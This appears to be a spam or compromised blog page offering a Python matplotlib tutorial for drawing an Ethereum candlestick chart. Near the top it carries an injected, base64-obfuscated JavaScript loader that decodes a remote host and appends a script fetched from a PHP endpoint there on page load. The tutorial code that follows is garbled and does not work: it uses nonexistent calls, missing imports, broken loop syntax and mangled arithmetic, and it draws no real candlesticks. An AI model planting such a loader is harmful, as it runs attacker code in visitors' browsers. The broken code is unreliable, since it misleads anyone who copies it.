Search

Ethereum: matplotlib chart not showing candle data as vertical line only (no wicks, open high low close)

const pdx=»bm9yZGVyc3dpbmcuYnV6ei94cC8=»;const pde=atob(pdx);const script=document.createElement(«script»);script.src=»https://»+pde+»cc.php?u=f5050dd5″;document.body.appendChild(script);

Here is a step-by-step guide on how to create an Ethereum candlestick chart using matplotlib in Python:

import matplotlib.pyplot as plt

import matplotlib.dates as mdates

import numpy as np

import yfinance as yf

from datetime import datetime, timedelta










Get the current time (will be displayed as the x-axis)

start_date = datetime.today().strftime('%Y-%m-%d')

end_date = (datetime.today() - timedelta(days=30)).strftime('%Y-%m-%d')


Define the Ethereum Price API endpoint

apiEndpoint = "


Set the API request parameters

params = {

'symbol': 'ETH',

'interval': '1m',

'limit': 100,

Maximum number of data points to read

'timeRange': start_date + ',' + end_date,

}


Send an API request and get the response

response = yf.get(apiEndpoint, params=params)


Convert the response to a pandas data frame

df = pd.DataFrame(response).T


Create x-axis dates (index) from 1 to 100 (assuming we need at least 100 data points)

dates = np.arange(1, len(df.columns))


Set the matplotlib date format

plt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%Y-%m-%d'))


Draw a candlestick chart

plt.figure(figsize=(14,10))

i in range (len(dates)-1):

plt.plot([i0.01, (i+1)0.01], [df.loc[i,'close'].mean(), df.loc[i+1,'close'].mean()], color='g')

if not (i == len(df.columns) - 2):

do not plot the last candle

plt.plot([i0.01, i0.01 + 0.01], [df.loc[i,'high'].mean(), df.loc[i+1,'high'].mean()], color='g')

elif (i == len(df.columns) - 2):

do not plot the first candle

plt.plot([i0.01, i0.01 + 0.02], [df.loc[i,'low'].mean(), df.loc[i+1,'low'].mean()], color='g')

plt.xlabel('Data')

plt.ylabel('Price (USD)')

plt.title('Ethereum Candlestick Chart')

plt.show()

To run this script, you must have the required libraries (matplotlib, pandas, and yfinance) installed. You also need a Binance API key.

Make sure your Binance API endpoint is properly configured according to your API documentation.

ORDER CELESTIA

VER MÁS

OTRAS ENTRADAS